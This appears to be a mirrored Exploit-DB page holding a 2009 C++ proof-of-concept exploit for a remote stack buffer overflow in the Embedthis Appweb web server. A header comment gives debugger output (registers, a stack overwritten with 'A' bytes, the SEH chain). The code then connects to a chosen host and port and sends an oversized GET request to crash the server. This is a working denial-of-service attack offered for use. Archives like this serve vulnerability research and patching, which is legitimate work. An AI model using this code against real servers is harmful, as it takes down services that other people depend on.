mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-11 06:21:28 -10:00
328 lines
9.1 KiB
C++
Executable File
328 lines
9.1 KiB
C++
Executable File
/***************************************************************************************
|
|
Embedthis Appweb Remote Stack Buffer Overflow Poc
|
|
Embedthis Appweb Debugging Info
|
|
-------------------------------
|
|
|
|
ASM INSTRUCTIONS
|
|
----------------
|
|
100076CD 8B0A MOV ECX,DWORD PTR DS:[EDX]
|
|
100076CF 8B50 10 MOV EDX,DWORD PTR DS:[EAX+10]
|
|
100076D2 51 PUSH ECX
|
|
100076D3 52 PUSH EDX
|
|
100076D4 68 14040110 PUSH libappwe.10010414 ; ASCII "%s %s %s"
|
|
100076D9 55 PUSH EBP
|
|
100076DA E8 29630000 CALL <JMP.&libmpr.mprPutFmtToBuf>
|
|
|
|
DS:[00000000]=???
|
|
ECX=00000000
|
|
|
|
CPU Registers
|
|
--------------
|
|
EAX 01550080
|
|
ECX 00000000
|
|
EDX 00000000
|
|
EBX 00000072
|
|
ESP 0012FD08
|
|
EBP 01550598
|
|
ESI 00837567 ASCII "" %>s %b"
|
|
EDI 01320080
|
|
EIP 100076CD libappwe.100076CD
|
|
C 1 ES 0023 32bit 0(FFFFFFFF)
|
|
P 0 CS 001B 32bit 0(FFFFFFFF)
|
|
A 1 SS 0023 32bit 0(FFFFFFFF)
|
|
Z 0 DS 0023 32bit 0(FFFFFFFF)
|
|
S 1 FS 003B 32bit 7FFDF000(FFF)
|
|
T 0 GS 0000 NULL
|
|
D 0
|
|
O 0 LastErr ERROR_MOD_NOT_FOUND (0000007E)
|
|
EFL 00000293 (NO,B,NE,BE,S,PO,L,LE)
|
|
ST0 empty -??? FFFF 00000000 144C1A7A
|
|
ST1 empty -??? FFFF 00000000 109C62C7
|
|
ST2 empty -??? FFFF 0F3C475C 45A4876F
|
|
ST3 empty -??? FFFF 109C62C7 41264D5E
|
|
ST4 empty -??? FFFF 09AC2DB5 50CE16BD
|
|
ST5 empty -??? FFFF 00000000 17D51378
|
|
ST6 empty 0.0
|
|
ST7 empty 0.0
|
|
3 2 1 0 E S P U O Z D I
|
|
FST 0007 Cond 0 0 0 0 Err 0 0 0 0 0 1 1 1 (GT)
|
|
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
|
|
|
|
Stack
|
|
------
|
|
<---------------Corruption starts here
|
|
0012FBB8 41414141 AAAA
|
|
0012FBBC 41414141 AAAA
|
|
0012FBC0 41414141 AAAA
|
|
0012FBC4 41414141 AAAA
|
|
0012FBC8 41414141 AAAA
|
|
0012FBCC 41414141 AAAA
|
|
0012FBD0 41414141 AAAA
|
|
0012FBD4 41414141 AAAA
|
|
0012FBD8 41414141 AAAA
|
|
0012FBDC 41414141 AAAA
|
|
0012FBE0 41414141 AAAA
|
|
0012FBE4 41414141 AAAA
|
|
0012FBE8 41414141 AAAA
|
|
0012FBEC 41414141 AAAA
|
|
0012FBF0 41414141 AAAA
|
|
0012FBF4 41414141 AAAA
|
|
0012FBF8 41414141 AAAA
|
|
0012FBFC 41414141 AAAA
|
|
0012FC00 41414141 AAAA
|
|
0012FC04 41414141 AAAA
|
|
0012FC08 41414141 AAAA
|
|
0012FC0C 41414141 AAAA
|
|
0012FC10 41414141 AAAA
|
|
0012FC14 41414141 AAAA
|
|
0012FC18 41414141 AAAA
|
|
0012FC1C 41414141 AAAA
|
|
0012FC20 41414141 AAAA
|
|
0012FC24 41414141 AAAA
|
|
0012FC28 7C91005D ].‘| ntdll.7C91005D
|
|
.
|
|
0012FC30 00000000 ....
|
|
0012FC34 0002075C \ . UNICODE "\Embedthis Appweb\bin\appweb.exe"
|
|
0012FC38 00000000 ....
|
|
0012FC3C 00000000 ....
|
|
0012FC40 00000000 ....
|
|
Seh chain
|
|
----------
|
|
SEH chain of main thread, item 2
|
|
Address=0012FFB0
|
|
SE handler=appweb.004020B5
|
|
Software info
|
|
--------------
|
|
Appweb is an embedded web server for the efficient hosting of web applications and frameworks.
|
|
It is blazing fast and has an extensive set of features. Appweb is optimized for hosting dynamic
|
|
web applications via an event-driven, multi-threaded core to deliver rapid response, fast throughput
|
|
and effective memory utilization. It is compact and will embed using as little as 800K of memory......
|
|
http://www.embedthis.com/products/appweb/embedded-web-server.html
|
|
Download product
|
|
-----------------
|
|
http://www.embedthis.com/downloads/appweb/index.html
|
|
Scenario
|
|
---------
|
|
A stack buffer overflow occurs when a very long link is sent
|
|
Bug type
|
|
--------
|
|
Buffer Overflow
|
|
HTTP Dos
|
|
Timeline
|
|
--------
|
|
8:08:2009
|
|
Vendor
|
|
-------
|
|
-
|
|
POC
|
|
----
|
|
Filename
|
|
---------
|
|
embed.cpp
|
|
Compiler
|
|
---------
|
|
Dev-cpp 4.9.9.2
|
|
Credits/Author
|
|
---------------
|
|
fl0 fl0w
|
|
Greets
|
|
------
|
|
Hello to my friendz at
|
|
http://www.skullbox.info
|
|
www.doyourself.org
|
|
http://insecurity-ro.org
|
|
!_30,OSHO,Carcabot,Vlad,Marsu,Expanders,str0ke...
|
|
References
|
|
----------
|
|
http://sploitz.110mb.com
|
|
DEMO
|
|
----
|
|
***********************************************************************
|
|
Embedthis Appweb Remote Stack Overflow POC
|
|
All Credits:fl0 fl0w
|
|
http://www.sploitz.10001mb.com
|
|
******************************************************************************
|
|
Usage:project1.exe [-h](host) [-p](port) Default Port 80 Default Host 127.0.0.1
|
|
|
|
-h host HTTP server
|
|
-p port HTTP server
|
|
|
|
------------------------------------------
|
|
You can use the following IP addresses
|
|
Host name is DESKTOP.
|
|
Address 0:192.168.1.2
|
|
------------------------------------------
|
|
Host name is DESKTOP.
|
|
Address 1:79.119.103.68
|
|
------------------------------------------
|
|
*/
|
|
//START of algorithm
|
|
#include "winsock2.h"
|
|
#include "fstream.h"
|
|
#include <iostream.h>
|
|
#include <getopt.h>
|
|
#pragma comment(lib, "ws2_32")
|
|
#define BUFFERSIZE 900000
|
|
#define DEFAULT_PORT 80
|
|
#define DEFAULT_HOST "127.0.0.1"
|
|
#define COMMAND "GET "
|
|
|
|
struct {
|
|
int ip;
|
|
int port;
|
|
}Net;
|
|
|
|
static char buffer[BUFFERSIZE];
|
|
WSADATA wsadata;
|
|
int doit(int ,char**);
|
|
void Exit(int);
|
|
void Menu(int ,char**);
|
|
void Wait_s(int);
|
|
void Banner();
|
|
|
|
int main(int argc,char *argv[])
|
|
{ if (WSAStartup(MAKEWORD(2,0),&wsadata)!= 0){
|
|
printf("%s", WSAGetLastError());
|
|
return -1;
|
|
}
|
|
if(argc < 2) {
|
|
system("CLS");
|
|
Banner();
|
|
Menu(argc, argv);
|
|
int a = doit(argc, argv);
|
|
printf("%d", a);
|
|
}
|
|
else {
|
|
int c;
|
|
while((c = getopt(argc, argv, "h:p:o")) != EOF) {
|
|
switch(c) {
|
|
case 'h':
|
|
Net.ip = (int)optarg;
|
|
break;
|
|
case 'p':
|
|
Net.port = (int)optarg;
|
|
break;
|
|
default:
|
|
Banner();
|
|
}
|
|
}
|
|
}
|
|
Net.ip = htonl(inet_addr(argv[1]));
|
|
if (argc == 2){
|
|
Net.port = atoi(argv[2]);
|
|
}
|
|
else Net.port = DEFAULT_PORT;
|
|
if(!Net.ip || !Net.port) {
|
|
printf("IP && Port not good\n");
|
|
Exit(-2);
|
|
}
|
|
SOCKET s;
|
|
struct fd_set mask;
|
|
struct timeval timeout;
|
|
struct sockaddr_in server;
|
|
s = socket(AF_INET,SOCK_STREAM,0);
|
|
if (s == INVALID_SOCKET) {
|
|
WSAGetLastError();
|
|
WSACleanup();
|
|
return -1;
|
|
}
|
|
server.sin_family = AF_INET;
|
|
server.sin_addr.s_addr = htonl(Net.ip);
|
|
server.sin_port = htons(Net.port);
|
|
WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
|
|
timeout.tv_sec = 3;
|
|
timeout.tv_usec = 0;
|
|
FD_ZERO(&mask);
|
|
FD_SET(s,&mask);
|
|
switch(select(s+1,NULL,&mask,NULL,&timeout)) {
|
|
case -1: {
|
|
WSAGetLastError();
|
|
closesocket(s);
|
|
return -1;
|
|
}
|
|
case 0: {
|
|
closesocket(s);
|
|
return -1;
|
|
}
|
|
default:
|
|
if(FD_ISSET(s,&mask)) {
|
|
printf("\tConnected\n");
|
|
Wait_s(1000);
|
|
int a, Load;
|
|
Load=1787;
|
|
memset(buffer,0,sizeof(buffer));
|
|
strcat(buffer, COMMAND);
|
|
for (a=0;a<Load;a++){strcat(buffer,"\x41");}
|
|
strcat(buffer," HTTP/1.1\r\n\r\n");
|
|
Wait_s(1000);
|
|
if (send(s,buffer,strlen(buffer),0)==SOCKET_ERROR) {
|
|
printf("\tPayload not sent ! Server is OFF! \n");
|
|
return -1;
|
|
}
|
|
Wait_s(1000);
|
|
printf("\tPayload sent ! HTTP server is DOWN !\n");
|
|
return 0;
|
|
}
|
|
}
|
|
closesocket(s);
|
|
WSACleanup();
|
|
return 0;
|
|
}
|
|
|
|
void Wait_s(int seconds)
|
|
{ Sleep (seconds);
|
|
}
|
|
|
|
int doit(int, char **)
|
|
{
|
|
char ac[80];
|
|
if (gethostname(ac, sizeof(ac)) == SOCKET_ERROR) {
|
|
printf("Error " , WSAGetLastError());
|
|
return 1;
|
|
}
|
|
|
|
struct hostent *phe = gethostbyname(ac);
|
|
if (phe == 0) {
|
|
printf("Bad host lookup.\n");
|
|
return 1;
|
|
}
|
|
printf("------------------------------------------\n");
|
|
printf("You can use the following IP addresses\n");
|
|
for (int i = 0; phe->h_addr_list[i] != 0; ++i) {
|
|
struct in_addr addr;
|
|
memcpy(&addr, phe->h_addr_list[i], sizeof(struct in_addr));
|
|
printf("\n");
|
|
printf("Host name is %s.\n" ,ac);
|
|
printf("Address %d:%s\n" ,i ,inet_ntoa(addr));
|
|
printf("------------------------------------------\n");
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
void Exit(int t)
|
|
{ exit(t);
|
|
}
|
|
|
|
void Menu(int argc, char **argv)
|
|
{ fprintf(stderr,
|
|
"Usage:%s [-h](host) [-p](port) Default Port %d Default Host %s\n"
|
|
"\n"
|
|
"-h host HTTP server\n"
|
|
"-p port HTTP server\n"
|
|
"\n"
|
|
,
|
|
argv[0],
|
|
DEFAULT_PORT,
|
|
DEFAULT_HOST);
|
|
}
|
|
void Banner()
|
|
{ fputs("******************************************************************************\n"
|
|
"Embedthis Appweb Remote Stack Overflow POC\n"
|
|
"All Credits:fl0 fl0w\n"
|
|
"\thttp://www.sploitz.10001mb.com\n"
|
|
"******************************************************************************\n"
|
|
,stdout);
|
|
}
|
|
|
|
// milw0rm.com [2009-08-11]
|